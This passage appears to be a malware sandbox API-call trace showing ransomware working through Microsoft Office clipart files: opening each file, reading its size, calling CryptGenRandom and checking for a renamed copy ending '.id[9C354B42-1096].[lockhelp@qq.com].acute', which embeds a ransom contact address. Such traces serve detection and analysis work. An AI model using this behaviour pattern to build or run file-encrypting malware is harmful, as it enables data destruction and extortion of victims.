Files\\Microsoft Office\\CLIPART\\PUB60COR\\BOAT.WMF.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\boat.wmf.id[9c354b42-1096].[lockhelp@qq.com].acute")) returned 0xffffffff [0274.947] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BOAT.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\boat.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0274.947] CryptGenRandom (in: hProv=0x7d5188, dwLen=0x10, pbBuffer=0x3e2fb08 | out: pbBuffer=0x3e2fb08) returned 1 [0274.947] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BOATINST.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\boatinst.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x37c [0274.947] GetFileSizeEx (in: hFile=0x37c, lpFileSize=0x3e2faa0 | out: lpFileSize=0x3e2faa0*=29004) returned 1 [0274.947] CloseHandle (hObject=0x37c) returned 1 [0274.948] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BOATINST.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\boatinst.wmf")) returned 0x20 [0274.948] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BOATINST.WMF.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\boatinst.wmf.id[9c354b42-1096].[lockhelp@qq.com].acute")) returned 0xffffffff [0274.948] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BOATINST.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\boatinst.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0274.948] CryptGenRandom (in: hProv=0x7d5188, dwLen=0x10, pbBuffer=0x3e2fb08 | out: pbBuffer=0x3e2fb08) returned 1 [0274.948] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00076_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00076_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x37c [0274.949] GetFileSizeEx (in: hFile=0x37c, lpFileSize=0x3e2faa0 | out: lpFileSize=0x3e2faa0*=1330) returned 1 [0274.949] CloseHandle (hObject=0x37c) returned 1 [0274.949] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00076_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00076_.wmf")) returned 0x20 [0274.949] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00076_.WMF.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00076_.wmf.id[9c354b42-1096].[lockhelp@qq.com].acute")) returned 0xffffffff [0274.949] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00076_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00076_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0274.949] CryptGenRandom (in: hProv=0x7d5188, dwLen=0x10, pbBuffer=0x3e2fb08 | out: pbBuffer=0x3e2fb08) returned 1 [0274.949] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00078_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00078_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x37c [0274.950] GetFileSizeEx (in: hFile=0x37c, lpFileSize=0x3e2faa0 | out: lpFileSize=0x3e2faa0*=1444) returned 1 [0274.950] CloseHandle (hObject=0x37c) returned 1 [0274.950] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00078_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00078_.wmf")) returned 0x20 [0274.950] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00078_.WMF.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00078_.wmf.id[9c354b42-1096].[lockhelp@qq.com].acute")) returned 0xffffffff [0274.950] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00078_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00078_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0274.950] CryptGenRandom (in: hProv=0x7d5188, dwLen=0x10, pbBuffer=0x3e2fb08 | out: pbBuffer=0x3e2fb08) returned 1 [0274.950] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00092_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00092_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x37c [0274.950] GetFileSizeEx (in: hFile=0x37c, lpFileSize=0x3e2faa0 | out: lpFileSize=0x3e2faa0*=7974) returned 1 [0274.950] CloseHandle (hObject=0x37c) returned 1 [0274.950] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00092_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00092_.wmf")) returned 0x20 [0274.950] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00092_.WMF.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00092_.wmf.id[9c354b42-1096].[lockhelp@qq.com].acute")) returned 0xffffffff [0274.951] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00092_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00092_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0274.951] CryptGenRandom (in: hProv=0x7d5188, dwLen=0x10, pbBuffer=0x3e2fb08 | out: pbBuffer=0x3e2fb08) returned 1 [0274.951] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00100_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00100_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x37c [0274.951] GetFileSizeEx (in: hFile=0x37c, lpFileSize=0x3e2faa0 | out: lpFileSize=0x3e2faa0*=2378) returned 1 [0274.951] CloseHandle (hObject=0x37c) returned 1 [0274.951] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00100_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00100_.wmf")) returned 0x20 [0274.951] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00100_.WMF.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00100_.wmf.id[9c354b42-1096].[lockhelp@qq.com].acute")) returned 0xffffffff [0274.951] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00100_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00100_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0274.951] CryptGenRandom (in: hProv=0x7d5188, dwLen=0x10, pbBuffer=0x3e2fb08 | out: pbBuffer=0x3e2fb08) returned 1 [0274.951] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00135_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00135_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x37c [0274.951] GetFileSizeEx (in: hFile=0x37c, lpFileSize=0x3e2faa0 | out: lpFileSize=0x3e2faa0*=1044) returned 1 [0274.951] CloseHandle (hObject=0x37c) returned 1 [0274.951] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00135_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00135_.wmf")) returned 0x20 [0274.951] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00135_.WMF.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00135_.wmf.id[9c354b42-1096].[lockhelp@qq.com].acute")) returned 0xffffffff [0274.951] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00135_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00135_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0274.951] CryptGenRandom (in: hProv=0x7d5188, dwLen=0x10, pbBuffer=0x3e2fb08 | out: pbBuffer=0x3e2fb08) returned 1 [0274.951] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00136_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00136_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x37c [0274.952] GetFileSizeEx (in: hFile=0x37c, lpFileSize=0x3e2faa0 | out: lpFileSize=0x3e2faa0*=2166) returned 1 [0274.952] CloseHandle (hObject=0x37c) returned 1 [0274.952] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00136_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00136_.wmf")) returned 0x20 [0274.952] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00136_.WMF.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00136_.wmf.id[9c354b42-1096].[lockhelp@qq.com].acute")) returned 0xffffffff [0274.952] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00136_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00136_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0274.952] CryptGenRandom (in: hProv=0x7d5188, dwLen=0x10, pbBuffer=0x3e2fb08 | out: pbBuffer=0x3e2fb08) returned 1 [0274.952] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00145_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00145_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x37c [0274.953] GetFileSizeEx (in: hFile=0x37c, lpFileSize=0x3e2faa0 | out: lpFileSize=0x3e2faa0*=1712) returned 1 [0274.953] CloseHandle (hObject=0x37c) returned 1 [0274.953] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00145_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00145_.wmf")) returned 0x20 [0274.953] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00145_.WMF.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00145_.wmf.id[9c354b42-1096].[lockhelp@qq.com].acute")) returned 0xffffffff [0274.953] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00145_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00145_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0274.953] CryptGenRandom (in: hProv=0x7d5188, dwLen=0x10, pbBuffer=0x3e2fb08 | out: pbBuffer=0x3e2fb08) returned 1 [0274.953] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00174_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00174_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x37c [0274.953] GetFileSizeEx (in: hFile=0x37c, lpFileSize=0x3e2faa0 | out: lpFileSize=0x3e2faa0*=8366) returned 1 [0274.953] CloseHandle (hObject=0x37c) returned 1 [0274.953] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00174_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00174_.wmf")) returned 0x20 [0274.954] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00174_.WMF.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00174_.wmf.id[9c354b42-1096].[lockhelp@qq.com].acute")) returned 0xffffffff [0274.954] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00174_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00174_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0274.954] CryptGenRandom (in: hProv=0x7d5188, dwLen=0x10, pbBuffer=0x3e2fb08 | out: pbBuffer=0x3e2fb08) returned 1 [0274.954] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00184_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00184_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x37c [0274.954] GetFileSizeEx (in: hFile=0x37c, lpFileSize=0x3e2faa0 | out: lpFileSize=0x3e2faa0*=4976) returned 1 [0274.954] CloseHandle (hObject=0x37c) returned 1 [0274.954] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00184_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00184_.wmf")) returned 0x20 [0274.954] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00184_.WMF.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00184_.wmf.id[9c354b42-1096].[lockhelp@qq.com].acute")) returned 0xffffffff [0274.954] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00184_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00184_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0274.954] CryptGenRandom (in: hProv=0x7d5188, dwLen=0x10, pbBuffer=0x3e2fb08 | out: pbBuffer=0x3e2fb08) returned 1 [0274.954] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00186_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00186_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x37c [0274.955] GetFileSizeEx (in: hFile=0x37c, lpFileSize=0x3e2faa0 | out: lpFileSize=0x3e2faa0*=12788) returned 1 [0274.955] CloseHandle (hObject=0x37c) returned 1 [0274.955] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00186_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00186_.wmf")) returned 0x20 [0274.955] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00186_.WMF.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00186_.wmf.id[9c354b42-1096].[lockhelp@qq.com].acute")) returned 0xffffffff [0274.955] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00186_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00186_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0274.955] CryptGenRandom (in: hProv=0x7d5188, dwLen=0x10, pbBuffer=0x3e2fb08 | out: pbBuffer=0x3e2fb08) returned 1 [0274.955] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00200_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00200_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x37c [0274.955] GetFileSizeEx (in: hFile=0x37c, lpFileSize=0x3e2faa0 | out: lpFileSize=0x3e2faa0*=3104) returned 1 [0274.955] CloseHandle (hObject=0x37c) returned 1 [0274.955] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00200_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00200_.wmf")) returned 0x20 [0274.955] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00200_.WMF.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00200_.wmf.id[9c354b42-1096].[lockhelp@qq.com].acute")) returned 0xffffffff [0274.955] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00200_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00200_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0274.955] CryptGenRandom (in: hProv=0x7d5188, dwLen=0x10, pbBuffer=0x3e2fb08 | out: pbBuffer=0x3e2fb08) returned 1 [0274.956] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00224_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00224_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x37c [0274.956] GetFileSizeEx (in: hFile=0x37c, lpFileSize=0x3e2faa0 | out: lpFileSize=0x3e2faa0*=1588) returned 1 [0274.956] CloseHandle (hObject=0x37c) returned 1 [0274.956] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00224_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00224_.wmf")) returned 0x20 [0274.956] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00224_.WMF.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00224_.wmf.id[9c354b42-1096].[lockhelp@qq.com].acute")) returned 0xffffffff [0274.956] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00224_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00224_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0274.956] CryptGenRandom (in: hProv=0x7d5188, dwLen=0x10, pbBuffer=0x3e2fb08 | out: pbBuffer=0x3e2fb08) returned 1 [0274.956] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00438_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00438_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x37c [0274.956] GetFileSizeEx (in: hFile=0x37c, lpFileSize=0x3e2faa0 | out: lpFileSize=0x3e2faa0*=1212) returned 1 [0274.956] CloseHandle (hObject=0x37c) returned 1 [0274.956] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00438_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00438_.wmf")) returned 0x20 [0274.956] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00438_.WMF.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00438_.wmf.id[9c354b42-1096].[lockhelp@qq.com].acute")) returned 0xffffffff [0274.956] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00438_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00438_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0274.956] CryptGenRandom (in: hProv=0x7d5188, dwLen=0x10, pbBuffer=0x3e2fb08 | out: pbBuffer=0x3e2fb08) returned 1 [0274.957] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00439_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00439_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x37c [0274.957] GetFileSizeEx (in: hFile=0x37c, lpFileSize=0x3e2faa0 | out: lpFileSize=0x3e2faa0*=2052) returned 1 [0274.957] CloseHandle (hObject=0x37c) returned 1 [0274.957] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00439_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00439_.wmf")) returned 0x20 [0274.957] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00439_.WMF.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00439_.wmf.id[9c354b42-1096].[lockhelp@qq.com].acute")) returned 0xffffffff [0274.958] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00439_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00439_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0274.958] CryptGenRandom (in: hProv=0x7d5188, dwLen=0x10, pbBuffer=0x3e2fb08 | out: pbBuffer=0x3e2fb08) returned 1 [0274.958] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00440_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00440_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x37c [0274.958] GetFileSizeEx (in: hFile=0x37c, lpFileSize=0x3e2faa0 | out: lpFileSize=0x3e2faa0*=5580) returned 1 [0274.958] CloseHandle (hObject=0x37c) returned 1 [0274.958] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00440_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00440_.wmf")) returned 0x20 [0274.958] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00440_.WMF.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00440_.wmf.id[9c354b42-1096].[lockhelp@qq.com].acute")) returned 0xffffffff [0274.958] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00440_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00440_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0274.958] CryptGenRandom (in: hProv=0x7d5188, dwLen=0x10, pbBuffer=0x3e2fb08 | out: pbBuffer=0x3e2fb08) returned 1 [0274.958] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00441_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00441_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x37c [0274.958] GetFileSizeEx (in: hFile=0x37c, lpFileSize=0x3e2faa0 | out: lpFileSize=0x3e2faa0*=3524) returned 1 [0274.958] CloseHandle (hObject=0x37c) returned 1 [0274.958] 